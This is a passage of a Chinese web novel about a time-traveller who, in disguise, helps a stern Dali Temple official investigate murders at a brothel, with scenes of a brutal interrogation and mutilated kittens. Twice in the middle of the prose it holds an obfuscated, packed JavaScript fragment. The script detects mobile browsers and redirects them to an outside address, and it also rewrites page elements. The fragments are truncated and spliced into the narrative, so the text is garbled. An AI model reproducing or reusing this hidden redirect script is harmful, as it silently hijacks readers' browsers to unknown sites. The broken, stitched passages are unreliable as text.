我的天,孩子你这是拿的多开局天崩的剧本,古代底层人民的生活果然各有各的苦啊…… 谢筠熙一边感叹着,一边没有停下脚步,暗道出了客栈便是一条无人的小道,她回忆着这几天在京城中转悠时熟悉的地形,判断着自己的具体位置,确认后向官府又飞奔而去。 “小……额……小明,姐姐这就带你去找小姑。” 终于在绕过几个弯后,谢筠熙终于看见了官府的匾额,再近些看时,那官府门口正跪着一位衣着朴素的妇人。 这么巧吗,正好赶上有人来报官吗? “小姑!!”怀里的小孩却比她先一步激动起来,冲那名妇人大声叫唤。 哇噻,倒霉了这么多天终于幸运了一次吗,感谢小姑(合十) 妇女见熟悉的小脸,顿时激动地热泪盈眶,小跑着冲声音来源奔去。 谢筠熙在官府门口停下了脚步,将小明从怀中放了下来,就见那小孩屁颠屁颠和小姑抱在了一起。 这般场景自然也被官府的人看在眼里,此时已有人进去通告京兆尹,谢筠熙站在官府门口思索片刻,决定悄悄离开,正要动脚,门口的侍卫将她一同拦下。 “这位……侠士,京兆尹有令,且进来说说到底发生了什么吧。” 不行啊不行啊,不可以啊不可以,京中官员见过我的不在少数,万一现任京兆尹认识我就完蛋了,怎么办!! "不用了,有什么事本官来替她向京兆尹解释,这位……侠士还有要事在身,你们将这几名犯人一同带进去吧。" 李时丰的声音?!这么快! 谢筠熙望向带着一干被揍得鼻青脸肿人牙子自己却跟没事人一般的李时丰,仿佛看到了救星。 “少卿大人……这……”门口的侍卫有些为难。 “本官还需要说第二遍吗?”李时丰用帕子慢条斯理地擦拭着被染上血污的横刀,冰冷的目光刺向那名不知好歹的侍卫。 “是是是……大人……请……”侍卫擦了一把不知何时冒出来的冷汗,做了个“请”的姿态。 这边谢筠熙终于得以脱身,向身后巴巴望着她的小明眨了眨眼,故作姿态地背手离开了官府,经过李时丰时,又轻轻拍了拍他的肩以示感谢。 "你再把你的爪子往我身上招呼下次见面我就剁了它。" 谢筠熙听见李时丰用只有他们听得见的声音发出威胁的警告。 搭在肩上的手飞速弹开,谢筠熙一边离开一边嘟囔着:“我还嫌你身上脏呢,这凶得要死的罗刹……” 见李时丰的目光再次投来,谢筠熙赶忙加快脚步,飞身拐进了小巷里消失不见。 李时丰嫌弃地拿手拍了拍肩,跟随着一旁死命低头不敢说话的侍卫进了府里。 4. 友善的审问 被关押做了两天苦力的谢筠熙终于得以暂时离开那“黑罗刹”的控制,拐进小巷的前一秒谢筠熙依旧波澜不惊,下一秒就开始疯狂嘴角上扬:好好好,密函信息知道了,人身自由权再次获得了,妙哉妙哉哈哈哈哈哈…… 她这样想着,轻车熟路地摸到了通往暂时寄居的好闺蜜家的路,然后超绝不经意摘掉了脸上的面具塞进怀里,晃悠到闺蜜家后院,顺着围墙外的歪脖树往上爬,身手灵敏地从外边翻进了围墙。 “咚——咚咚”,谢筠熙按照约定的暗号敲了敲闺蜜房间紧闭的窗口,没过一会,外窗小心翼翼地开了一条缝。 谢筠熙狂喜,回头左顾右盼一番,确定周围没有可疑人士,这才安心地打开窗户爬进屋里。 “哦~小今安,你总算是回来了,我还以为你被官府的人捉走了呢,这几天我担心得食不下咽,彻夜难安啊。” 刚进屋里,先收获了一个结结实实的拥抱,一头耀眼的金发闯进谢筠熙眼中,紧接着就是那双充满异域风情的碧蓝双眸,此刻正满是忧虑得望向她,差点闪瞎谢筠熙的狗眼。 谢筠熙没有立刻放开她,使坏地往金发碧眼女子的腰侧轻轻一掐,直将她掐得从谢筠熙身边弹开:“小今安,这是做什么,好痒……” 谢筠熙缓缓打量着面前死死捂住腰侧的女子,调笑着绕着她转了一周,别有深意地回答:“亲爱的艾诺,我看你不仅没变瘦,反而多长了点点肉呢,手感不错~” 艾诺见客套话被识破,只好努努嘴,企图萌混过关:‘好今安,我是因为今天预感到你要回来,这才高兴地多吃了几碗米饭~’ “好了好了,你的好意我心领了,蕙兰她这些天还好吗。”谢筠熙兀自往房中的木桌走去,开始倾倒最近这几天的收获。 “小蕙兰好着呢。”艾诺背手走到谢筠熙身边,看着她把怀里的东西一股脑倒在桌上,一时之间并不大的木桌就这么被谢筠熙奇形怪状的工具占满了,艾诺好奇地望向这些从未见过的陌生事物,好奇地询问,“小今安,这些工具你是从哪搞来的,你不是就去了一趟香楼嘛,那里面原来还有这些怪东西的吗?” 谢筠熙有些心虚地挠了挠头,勉强地解释:“呃……说来话长,不过……总而言之,我找到了重要线索!” “哇!小今安好厉害!”艾诺依旧毫不吝啬对好朋友的夸奖,两眼放光地望向谢筠熙。 “嘿嘿,还得多亏了小诺的易容术~”谢筠熙忍不住上手捏了捏艾诺圆圆的脸蛋,语气宠溺。 “小今安有什么头绪吗,对于……那件事。”艾诺一脸满足地揉揉有些发红的脸颊,将对话引入正题。 谢筠熙将椅子搬来,一人一把放在木桌前,顺势坐了上去,又招呼艾诺也坐下,从怀里神神秘秘地掏出了一张有些揉皱的信函。 还好我又重新拓了一份,不然真要被李时丰那家伙坑惨了。 谢筠熙暗自庆幸着自己的精明,慢慢打开那封包好的信函,铺平抚顺:“这份密函上的字是我朝的特制暗语,同民间以及朝堂间最常见的汉字写法形制有些不同,像是变体,不过还好我特意研究过这一块的内容哈哈哈哈哈哈……” 艾诺看向谢筠熙的目光愈加崇拜,谢筠熙意识到自己笑得有些失态,赶忙坐正,压低声音继续解释:“这上面说的是,戌时三刻,叫那榜眼去香楼的吉丰阁,也就是那个……的地方一绪,落款是一个奇怪的梅花印记,并没有写上名号……” 艾诺听得入迷,适时发问:“真奇怪啊,写这封密函的人会不会就是凶手啊?” “凡事不可以轻易下结论,没准这只是凶手的幌子呢,只是我们现在唯一可以确定的是,榜眼确实死于戌时三刻以后,与仵作给出的死亡时间确实相似。” “哇,小今安是何时得知这些消息的,我怎么什么都不知道……”艾诺疑惑地望向谢筠熙,一双大眼里全是对知识的渴望。 “……呃……小诺你不关注这些事当然不知道了……”谢筠熙再一次心虚地躲开了艾诺的注视。 实际上是因为我知道这段历史啊,小女子有挂来的…… “咳咳,接下来呢,我要去查的事情,就是这封密函的来源,所以没过几天我又要出去啦小诺。”谢筠熙摸了摸艾诺越靠越近的脑袋。 “好,我到时再给小今安易容。”艾诺乖乖地蹭了蹭谢筠熙的手。 谢筠熙注视着艾诺安静的侧颜,突然有些感慨万分,印象里穿越之前她有一个来自海外学习的学生,她对本国的历史有着浓厚的兴趣,自己研究了多年,见到谢筠熙修复手艺的那一刻竟然感动得流泪,后来又在软磨硬泡下与谢筠熙交换了自己的联系方式,这之后谢筠熙与她经常交流,就这样谢筠熙拥有了一个关系极好的朋友,细细想来,她说话的语气跟艾诺有一些神似,也难怪谢筠熙初见艾诺的时候有些愣神。 “小诺,你和你爹爹为什么要在大辰定居啊?难道你不会思念自己的故乡吗?”谢筠熙认真地注视着艾诺的双眸,提出这个问题时的语气里不由自主带上了几分正经。 “会啊,但我们家每年都会回故乡看看,也没有……特别想念吧哈哈哈哈哈……而且与我的故乡相比,大辰更加安定,爹爹跟我说,刚来到大辰从商的时候,他以为会与从前在故乡听到的那样,遍地是黄金,可是他说,其实不是的,这里不仅繁荣,而且大辰的人有一种天然的亲切感,他们会对我们感到好奇,但是却不排斥;他们很热情,很团结,也很友善,爹爹说,他喜欢大辰,他觉得大辰可以是他的第二个家……”艾诺眨着眼睛轻声说着,“我也是这么觉得的……” “那你也算是半个大辰人喽~”谢筠熙笑着拍了拍艾诺的肩膀。 “那……你为什么对我这么好……”谢筠熙接着问道。 “谢伯伯救过我爹爹,今安对我很好很好,你们是我们一家最好的朋友,你们不是有句话说‘路见不平拔刀相助’嘛,这是应该的。” 艾诺直起身来,骄傲地拍了拍胸脯。 “好,好,那我就先谢过你们的‘仗义’啦~”谢筠熙的语气愈加温柔。 与谢筠熙这边温馨的画面截然不同的,是李时丰这边,自打这尊“黑罗刹”进了官府的大门,京兆府尹一直拿他那手帕擦自己额头冒出的虚汗。 祖宗啊,你们到底是怎么办事的,把这尊大佛给直接招来府里了。京兆府尹恨铁不成钢的眼神一边扫射到周围办事不得力的下属,一边又向李时丰露出讨好的笑容:“少卿大人,这……我们打算何时开始审讯啊……” 李时丰斜睨了府尹大人一眼,淡淡地 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李时丰提着手中的刀,拿刀柄敲了敲那头子的脑袋,语气愈发恐怖:“那人是何模样,说!” 头子被他的刀柄吓得一个哆嗦,止不住地颤抖着抓住李时丰的衣角跪在地上磕头求饶:“俺们……俺们也不知道哩……大人……大人……饶了俺们吧……” “没让你废话,给本官接着说!”李时丰嫌恶地退开了一步,反手抓起那头子的胳膊,向外一拧,一声凄厉的哀嚎响彻官府,连带着一旁的京兆府尹也被吓得打起了摆子。 “嗬嗬……大……大人……真的,小人说的是真的,再真没有了,那位爷带了个面具,就没……就没摘掉过……全程没有说过话……只让他身边的……身边的……一个下人……替他说完了全部的话……然后又当着俺们的面……嗬嗬……把那下人杀了……血,血溅得到处都是……嗬……”那头子忍着剧痛,描述着那天见到的场景,双重恐惧的叠加竟让他当场湿了禁。 “把他给我抬下去。”李时丰觉得恶心,又踹了那人一脚。 接着转身踱步到死死捂住孩子耳朵的报官女子身旁,换了一副相对温和的语气问:“这孩子……和你是何关系?” “大人……这孩子虽与草民并无学员相连,但草民与他相依为命,早就将他当家人看待,绝无半句虚言啊大人……”那女子扑通一声跪在地上,紧紧搂住不谙世事的小明。 “行……站起来吧,劳烦这位姑姑在案子清晰之前且带着侄子去大理寺坐一坐,本官还不能放你们走。” 李时丰说罢转身走向京兆府尹。 “是……一切听大人的……”那妇女磕了几个头,这才有些摇晃地站起身来,脸上的表情有种说不上来的忧愁。 “府尹大人,这几个犯人本官要带走继续审问,一会本官的人就过来,劳烦大人先看好这几个人,用什么手段都行,就是千万别让他们死了,长长记性,莫要再吃亏了,下次办事,想想本官今日是如何做的。” 李时丰对京兆府尹留下一句与其说是忠告不如说是威胁的话便带着姑侄二人扬长而去。 京兆府尹的脸上再次浮现出恐惧,只好叫自己的下属好好看守这几个抖得跟筛子一般的犯人。 5. 眼熟 人牙子的事在他们被李时丰带去大理寺之后暂且告一段落,而谢筠熙自打回了艾诺的家,就一整日都沉浸于各种历史研究,一方面是为了找到能够证明父亲清白的蛛丝马迹;另一方面则是因为既然都已经穿越到前朝了,近在眼前的全部都是活文物,像她这种对于历史研究的狂热爱好者怎么可能放弃这样的大好机会。 “小诺,你家这些东西都是从哪来的啊?” 谢筠熙对着艾诺家那一屋子价值连城的瓷碗茶具,古画古籍再次发出感叹。 “爹爹他很喜欢东方的这些器物,从离乡经商的时候一路收藏过来的。”艾诺斜倚在木质长凳上,一边吃着新买的糕点,一边悠哉悠哉地注视着忙碌的谢筠熙。 “伯父还是太有实力了。”谢筠熙的眼睛就没有离开过那些稀世珍宝。 “小今安,你之前不是从来不对这些东西感兴趣的嘛。”艾诺说着又塞了一块糕点进嘴里,将腮帮子塞得鼓鼓的,睁着她那双大眼睛好奇地端详着谢筠熙。 谢筠熙的动作一顿,很明显愣了愣神,有些心虚地摸了摸鼻子:“欸,这人不是会变的嘛,有一天突然发现我喜欢上了这些玩意,然后嘛……就一发不可收拾喽……” 好牵强好牵强!!!!! 谢筠熙在心里狠狠地唾弃自己的解释。 但艾诺没有因此怀疑什么,她嚼吧嚼吧嘴里的糕点,好不容易吞下了肚,又拿起一旁盛在杯里的水一饮而尽,使劲敲了两下胸脯,这才开口:“呃……噎死我了。好吧,小今安无论喜欢什么我都喜欢,不论是从前的小今安还是现在的。” 谢筠熙有些动容:“小诺……” “艾诺小姐!姑娘!” 一道女声突然打断了谢筠熙的未竟之语,屋里的两人齐刷刷望向门外,就见一道有些焦急的身影有些磕绊地跑进门。 “蕙兰你别跑,慢慢来,你的扭伤还没好呢。”谢筠熙上前扶住跌跌撞撞的贴身侍女,将她扶到了另一张椅子上。 “是啊小蕙兰,我们慢慢说,不急的。”艾诺也从长凳上站起身来,同谢筠熙一同安抚面色不太对劲蕙兰。 谢筠熙将房门掩实,半蹲着身子握住这个在自己溜出丞相府后追来的瘦弱姑娘,小声问着:“是不是……碰上了那群士兵?” 蕙兰脸上的恐惧一闪而过,但她使劲摇了摇头,将一封折叠得整整齐齐的书信交给谢筠熙:“如今春色正佳,方才奴婢想出门去后院择几朵小花给两位小姐编些手串,谁知那墙头突然闪过一道人影,腰上似乎还别着武器,将奴婢吓了一跳,奴婢还以为性命不保,可那人只是将这信塞到了奴婢怀里,然后跳上墙头又不见了踪影……” 谢筠熙听罢慌忙将蕙兰从前到后翻了个面,语气里尽是担忧:“那人没伤到你吧,可有感觉身子不适?” “没事的没事的小姐,奴婢无碍,只是被吓到了,又焦急把这事告诉小姐,这才跑快了些。” “没事就好,没事就好……”谢筠熙这才安下心来,“那人是男是女,蕙兰可瞧见了?” “他掩着面,剑眉星目看上去好似是个男子,可他身材娇小,又与寻常男子不同,奴婢瞥见了他的那双手,虽多是练武之人的茧子,但比起男子来又细嫩些。” 蕙兰拧着眉头努力回忆着,谢筠熙越听越觉得有些蹊跷:“怕是女伴男装……” 突然想起来手中的信,谢筠熙急忙将它铺平放到桌上,从信笺里抽出信纸细细阅读起来。 信上的字笔锋凌厉,四处透露着一股肃杀之气,让人看着竟觉得有些胆寒,但见字如见人,谢筠熙瞧见了,却觉得这字给她一种十分熟悉的感觉。 信上的内容很少,只有一句话:今日酉时,香楼见。 除了这行字,谢筠熙将信纸翻来覆去没有找到没有别的话语。 这纸不像是寻常百姓可以用得起的,定是某个达官贵人,如今知道我所在之处的……不会是…… 我靠!李时丰!这货干嘛非得挑这么吓人的方式送信啊! 谢筠熙的眉头展开,但心情却没有变得开朗起来,反而挂上了一副苦大仇深的面容。 “没事,蕙兰,写信的人跟我认识,这几日我与他有些事情要处理,不必担忧,我会全须全尾回来的。”谢筠熙轻轻搂住蕙兰。 “小今安,这么快,又要去……”艾诺在蕙兰身后发出暗示。 谢筠熙点了点头,示意艾诺不要告诉蕙兰。 “小姐……蕙兰明白了,蕙兰会再等小姐回来的。”蕙兰瘦弱的肩膀有些凹陷,但她依旧轻轻回抱了谢筠熙。 谢筠熙内心有些酸涩,自丞相府被抄那日起,府中余产尽数充公,庭院楼阁被烧被毁,下人被遣散者无数,正是那日,谢筠熙刚来到辰朝时就已出现在艾诺家中,可她没有想到的是,这个历史上连名字都未曾被提到的丞相嫡长女有一个忠仆,正是因为有她的掩护,谢筠熙才能顺利逃出,本以为这一走就是天人永隔,但没有想到艾诺在街上捡到了这个几乎奄奄一息的姑娘,这才让主仆二人重新团聚。 至少现在的谢今安,一定不会再让爱自己的人受到伤害了。 谢筠熙在心里暗暗承诺。 三人在屋里又聊了许多,直到屋外黄昏将近,日落西山,谢筠熙将蕙兰送回房间,准备开始今晚的动作。 “还是上次那个模样吗小今安?”艾诺掏出易容用的匣子,将里面的工具一一摆好。 “不,这次我们换个模样,上次的样子香楼的人通通见过了,我若是进去,包被抓的。”谢筠熙摇了摇头。 “好……那我们今天,就换一张脸吧!”艾诺叉着腰,开始对着谢筠熙的脸比划。 一刻钟过去,谢筠熙望着铜镜里截然不同的自己,又对艾诺一顿夸赞:“太厉害了小诺,没了你我的行动效率将大大降低。” “嘿嘿……”艾诺得意地仰着头,“那当然啦,我是最厉害的!” “好好,小诺最厉害了。”谢筠熙偷笑。 “平安归来啊,小今安。”艾诺得意够了,又认真凝视谢筠熙的双眼,郑重其事地嘱咐。 “好。”谢筠熙点头。 来到香楼的时候天色已逐渐暗沉,谢筠熙蹲守在隔壁小店的客椅上,状似不经意地喝着刚点的茶水,望着那熟悉的大门和门口那满脸警惕的老鸨,思索这次混进去的办法。 谁知还没有喝几口,店里却突然浩浩荡荡来了一群人,一个个具是身着衙役服,阵仗大得吓人,为首那个身着红衣配着横刀的更是黑着张脸,让人见了心生畏惧。 李时丰!他这么高调做什么……我靠他在往我这走! 周围的食客已然投来异样的目光,甚至都离默默往谢筠熙更远的地方靠去,谢筠熙企图用袖子遮住自己,但又突然想起来自己已经易容了,于是又按下蠢蠢欲动的胳膊,继续装作漫不经心地喝茶。 “为何来如此之早,本官不是通知了你要查案,跟本官走吧。” 熟悉的声音又在头顶响起。 谁……叫我吗……我??我不是易容了嘛?? 周围一阵沉默,食客们原本嘈杂的声音突然沉默,一双双眼都偷偷瞧着不远处的动静。 “我……我吗?”谢筠熙拿食指指了指自己,继续装傻充愣。 “不然还能是谁,起来,本官的时间很宝贵。”李时丰一脸冷漠地看向谢筠熙,毫不客气地催促着。 “噢噢,是……少卿大……人。”谢筠熙几乎是咬牙切齿叫出了这声“少卿大人”,然后迅速起身,加快脚步离开小店。 “大人,此女真是胆大包天,竟然自己就离开了,也不等大人一下……”身边的副官有些不可思议地望向那女人离开的身影。 “陆贰,别废话,跟上。”李时丰淡淡瞥了他一眼,留下互相干瞪眼的下属们兀自跟上谢筠熙。 “老大这是转性了吗?这种时候不应该早就见血了嘛。”陆贰有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326838|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸不着头脑。 “别管,跟上就是,说不定这也是老大布局的其中一步。”另一名副官拍了拍他,示意他赶快跟上。 “好嘞,老徐说的对,小的们,跟老大办案去喽。” 于是这一帮人浩浩荡荡地来,又浩浩荡荡离开了小店,没过一会小店就重新恢复了嘈杂,只不过大多的言论都是对刚刚那帮官爷的惊疑。 “走这么快做甚,上赶着被抓是吗。” 谢筠熙才刚走没一会,就又听到了那个幽幽的声音。 “你说的碰面未免也太……隆重了点,恕小女子直言,跟着你走才容易被抓。”谢筠熙站在香楼门口不到五尺的地方,对着不知何时贴到身边来的黑罗刹小声抱怨。 “本官本来就是秉公执法,自然是要大大方方的。”李时丰很是理直气壮。 “对了,本官已向皇上请命增加查案的时长,这桩案子远没有想象的简单,所以我们之后的时间还算充足。”李时丰顿了顿,加上了这句。 这让谢筠熙有些发愣。 历史开始发生转变了是吗……从前的史料记载这桩案子是无果而终的…… “好……好……大人请便。”谢筠熙回过神时只好不再与他计较,将身子微微弯曲,对着香楼大门做了个“请”的姿势。 李时丰摘下腰上的玉牌,就着谢筠熙的“请”心安理得地走向了门口满脸惊慌失措的老鸨。 “大理寺查案。”那老鸨其实早就认出了李时丰,此刻只能低头说“是”,浑身哆嗦着将他迎入香楼。 这个时候李时丰的那帮下属也一齐到了香楼,那老鸨本以为就李时丰和他身边那个奇怪的女子,可没想到还有这么一大帮衙役,便开始浑身冒虚汗。 但她只能强装镇定地向李时丰开口询问:“大人……可是来查那案子的……” 李时丰并没有拿正眼瞧她,只是淡淡地“嗯”了一声,算作回答。 “好好……大人请上楼。”老鸨招呼了几个姑娘一起过来带路。 那些俗尘女子哪里见过这样的场面,一个个皆是被吓得如同鹌鹑一般,被老鸨叫来的低着头闷声带路,没被叫来的一个个都僵在了嫖客们的怀中,碰上这队看上去索命般的活阎罗,连平日里娇媚的劲都不敢使出来一点。 只是她们没有看到的是,李时丰那一群黑压压的下属里有一双眼睛始终盯着她们,里面蓄满了说不明道不清的东西。 上二楼的途中,底下不知是何身份的客人们都有些紧张的看向那个红色的身影,一时之间一楼暗流涌动,谁也不敢轻举妄动。 谢筠熙跟着李时丰上了二楼,还没走进房间,却先闻到了一股诡异的味道,闻上去像是什么东西腐烂的气味。 她偷偷看向李时丰,发现李时丰的脸色也有些不对,很显然是也闻到了这个味道。 “是谁将这里的封条撕掉的?”李时丰冷冷望向那空荡荡的门板。 “这这这……草民也不知啊……是前两日有一个私自闯入这里的女子,她离开之后这里就没有封条了。” “哦?——”李时丰故意拉长尾音,意味深长地看了一眼旁边装空气的谢筠熙,又将目光重新放回到门上,“打开吧。” “哎……是是是。”老鸨一边点着头,一边又殷勤地打开了房间的门。 刚打开,一股冲天的腐臭味从里面飘了出来,众人俱是一惊,谢筠熙向房内望去,却发现里面躺着的是三只狸奴的尸体,就在榜眼死去的同样位置,只是尸体是随意堆放的,看上去并没有什么规律。 “啊——”香楼的姑娘们尖叫了起来,都是一副面色发青的模样。 那老鸨见到这番清形,也是被吓了一跳,只能战战兢兢望向李时丰:“大人,草民不知道何时来的这三只……” “散客。”李时丰不耐烦地打断她,大步走进了屋里。 “是……是……”老鸨只好退下,招呼着僵硬的姑娘们一起去散客。 6. 局中之人 香楼里此刻无一人敢出声,所有人的目光都不约而同地盯着李时丰的动作,以及,他身边那个来路不明却冷静镇定的女子。 “总觉得这几只咪咪的尸体看上去已经死去多时了。”谢筠熙紧跟在李时丰身后,悄悄地同他对话。 “你何时还学习了仵作的技艺?还有,咪咪……是什么?”李时丰原本肃穆的气场被谢筠熙的开口硬生生降下去三分。 “额……这个,我也偶尔会对尸体鉴定的事情感兴趣嘛……还有,咪咪的话……等结束再跟你解释。”谢筠熙企图用笑容来掩饰尴尬。 李时丰没有回头,继续往案发地走去:“哦?那你的兴趣爱好还挺广泛。” “哪里哪里……”谢筠熙走到狸奴尸首旁时,忍不住被熏得捂住了鼻子,但她依旧没有后退,细细观察起他们的死状。 此刻案发地的房门已经被大理寺的人团团围住,不允许任何旁人靠近,屋里的衙役们各司其职进行着这场案子的侦查。 三只狸奴的身形都十分娇小,看上去根本没有足月,就被人用剪子剪去两爪,戳瞎了双目,血肉模糊的小小身躯死不瞑目。 “怎么可以这么残忍……什么时候都有这种虐猫的人……畜生都不如……”谢筠熙一边观察着,一边忍不住心疼这几只尚未熟悉世间就被斩断生路的小可怜。 “老大,我们在这里找打到了一捆细绳,上面似乎沾着血迹。”陆贰将李时丰叫来,指着地上的一团不明事物报告。 “带回去,回去仔细看看有何异样。”李时丰嘱咐。 “是!” “我去看看柜子。”谢筠熙同李时丰知会了一声,便向那个曾经藏身过的地方走去。 打开柜子的那一刻,谢筠熙的内心充满了警惕,所幸里面并没有多出什么奇怪的东西,与几日前见过的一样,还是那样狭小陈旧,谢筠熙细细摸索着柜壁,想要找到之前那个暗格,但是找到那个位置的时候,却发现原本暗格的地方多出来一个小小的凹槽,摸着十分扎手。 应当是木质纤维的感触。 谢筠熙在心里暗暗思忖:暗格被人拆掉了吗? 李时丰并没有放过谢筠熙这一小小的举动,即使此刻天色已黑,只能凭借幽幽发光的火烛在房间内查案,但他过人的眼力依旧觉察到了谢筠熙的迟疑。 “发现什么了?”李时丰的声音突然在谢筠熙耳边响起。 “啊——”谢筠熙被吓了一跳,一声尖叫正要从嘴里飞出来,就被你李时丰从背后死死捂住了嘴巴。 “别叫,本官有这么吓人吗?” 您老每次跟鬼一样突然出声能不吓人吗,小女子刚刚差点被吓撅过去!千年古尸都没您老吓人! 谢筠熙此刻发不出声音,只能拼命点头,同时在心里将姓李的骂了千百遍,杏眼在黑暗里睁得滚圆,火烛照耀下显得十分亮眼。 李时丰愣了一下,很快把手移开,嫌弃地用方帕擦了擦,装作无事发生继续搜证。 陆贰和徐柒一转头就是自家老大一脸便秘表情走开的模样,十分不解地挠了挠头,又继续沉浸于工作之中。 “大人,你说那密函是谁写的啊?”谢筠熙好不容易平复心情,又问起正经事来。 “除了我们两个和老大,没有人知道知道密函的事,你是如何得知的?” 听到“密函”二字,陆贰首先坐不住了,他将怀中的刀抽出了一半,虎视眈眈地凝视着这个来历不明的女子,连带更为镇定的徐柒也警惕起来。 “你盖我功绩还抢我功劳?”谢筠熙不可置信地望向李时丰,“至少承认一下这事不是你一个人办成的吧。” 谢筠熙的眼里,李时丰头上仿佛顶着四个大字——“忘恩负义”。 “不是……”李时丰扶住额头,“本官从没说过这是本官一人的功劳,只是因为这两个人是我的忠侍,把本官想得太……话说你这么在意这个做什么。” 李时丰:我到底为什么要解释?简直莫名其妙。 说到最后,李时丰瞪了一眼那两个装腔作势的人,见他们一脸茫然地松开武器,这才有些无语的看向谢筠熙。 “嘘……底下有动静了。”刚刚还张牙舞爪的谢筠熙此刻却突然安静下来,趴到窗台边蹲下用墙体掩住身子。 “密函?”李时丰用唇语询问。 谢筠熙没有回答,只是轻轻点了点头。 两个下属见状也一同朝窗台的方向慢慢靠近,一时之间屋里静得落针也可闻声响。 从刚才就注意到了,案发地的窗门一直都开着一条缝,谢筠熙分明记得她前些日子来这的时候特意查看了窗口,发现是完全封死的,而老鸨应该也不会特意来到这个房间,客人和香楼的人多少都会避着点这个房间,别有用心之人才会靠近,而那日在香楼里遇到的那名女子,显然不对劲。 方才谢筠熙说“密函”二字的时候故意放大了一些声音,李时丰显然也听出了她的意图,故意插科打诨。 窗台后窸窸窣窣的声音在突然的沉寂之中慢慢消失,谢筠熙悄悄探出了半个头,只看到了一闪而过的身影,立刻扭头向李时丰示意。 李时丰则冲两个下属比了个手势,霎时间二人如同游鱼般跳出窗台,往异响处追去。 “终于把他引出来了。”谢筠熙靠在窗边擦了擦头上的汗。 “那封密函恐怕与这次案件的凶手并无瓜葛,只怕背后设局的另有其人。”李时丰对谢筠熙道。 说罢凑近尚未缓过神来的谢筠熙,用一种意味深长的语调发出疑问:“你……看得懂密函上的字?” 看见李时丰微微眯起的双眼,谢筠熙浑身血液有些倒流,这种密函的字在辰朝只有特殊机构的人才能看懂,李时丰显然还有一些不为人知的身份,但自己……该怎么说…… 说我有一天突然打通任督二脉自学成才摸透了这种密语?哈哈哈,我的脑袋估计要血溅当场了…… 正当谢筠熙已经绝望地准备重开的时候,李时丰却只是笑了笑,轻飘飘留下了一句:“本官知道你能看懂,无需扯谎,既然你现在不想回答为什么,那就……来日方长……” 说完最后那句他阴森森回头看了谢筠熙一眼,将谢筠熙看得鸡皮疙瘩起了一声,这才施施然推开了房门。 差点小命不保……想来我现在对李时丰还是有点用处,他没必要动我…… 谢筠熙站起身来,狠狠松了一口气。 李时丰叫门口的下属继续守着门,飞身前往异响的地方,谢筠熙同他一前一后出来,引得众下属连连围观,灼热的目光似乎要将她烧穿。 谢筠熙只能选择无视,硬着头皮跟上李时丰的脚步。 还没到窗台下的位置,就看见了几位大惊失色的勾栏女子面色苍白地跑过来,差点与谢筠熙一头撞上。 “大人,您是少卿大人身边的人吧,那里……那里有一个死人啊啊啊——”谢筠熙还没来得及安慰这个横冲直撞的姑娘,就被她梨花带雨地哭诉了一番,脑子里宕机了两秒,突然反应过来。 “你能带我去那个地方吗?”她扶住快要被吓晕过去的姑娘,满脸放光地询问。 “我……我……小的再不敢过去,给大人指路,求大人自己过去吧……”那女子的嘴唇在颤抖,谢筠熙实在没法,只好答应。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326839|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “就……前面那处,咱们香楼前些日子出人命的那个房间的楼下,是咱们香楼的后园,里面有一处水池子,那里……飘着一个死人……”说着说着,那姑娘又开始回忆起那恐怖的一幕,身子再次软下去。 “没事的没事的,快去找你们妈妈,那里比较安全。” 谁知谢筠熙说完这话,那姑娘的脸色更加苍白,但她晃了几下,没有再惊叫出声,而是拖着步子走向香楼的里门。 “少卿大人!”谢筠熙无法,只好跑到那个池子的旁边,招呼着不远处正在草丛里搜查的李时丰。 两个下属和李时丰一同抬起头来,看见谢筠熙举着火烛,身形迟疑了一下,这才快步走来。 “你们那边有什么发现吗?”谢筠熙向那个草丛望了一眼。 “那人动作很快,应该是个练家子,我们是在那个草丛里找到了这个。” 李时丰从怀里抽出了一本薄薄的册子,看上去有些破损。 谢筠熙不顾下属们不可置信的目光轻轻接过,又指着身旁的水池复述了一边方才的经历。 “第二具尸体吗……陆贰,徐柒,你们两个先去查探一番,我一会过去。”李时丰的表情明显带上了些愠怒。 等到两个侍卫走远,谢筠熙又翻开手中的册子,借着烛光想要看清上面的字。 有些墨痕已经随着时间慢慢淡去,变得有些模糊难认,还有几页则是有些残破不堪,有些册页似乎从书脊上脱落,又被人塞回去,整个册子记录的东西都乱成了一锅粥,甚至有几页存在明显的被火烧着的痕迹,上面的字看上去粗鄙不堪,字迹很是潦草,谢筠熙隐隐约约可以从上面认出几个数字,还有“花”“蚕”字篇幅占比较大,有点像账本,但又显然不是。 “当务之急先去看看那具尸体吧,这本册子的修复工作回去我来。”谢筠熙将顶着李时丰探究的目光将册子揣进了怀里。 “老实一点,不然……”李时丰的手又摁到了横刀上。 谢筠熙有些无奈,她摊开手掌放在胸前,对着天上起誓:“我谢……今安,要是有一丝一毫不讲义气背刺合作伙伴的行为立刻天打雷劈……” 还没说完,黢黑的天空传来一阵闷雷…… 李时丰看向谢筠熙的目光瞬间不对了起来。 “呃……那个……现在是春日,有雷声很正常……很正常……”谢筠熙用方才起誓的手挡住了自己的脸。 李时丰没有再多说什么,撇下谢筠熙便往池子里的尸体走去。 “老大!这尸身也没有头!” 陆贰的声音在池子边响起,就着跟随雷声而来的闪电,让几人周围的氛围逐渐变得恐怖起来。 谢筠熙打了个哆嗦,好不容易跟上李时丰,她指了指天,小心翼翼地开口:“那个……要不我们先把尸体给运回去,好像快要下雨了,这样容易加速尸体的腐烂。” 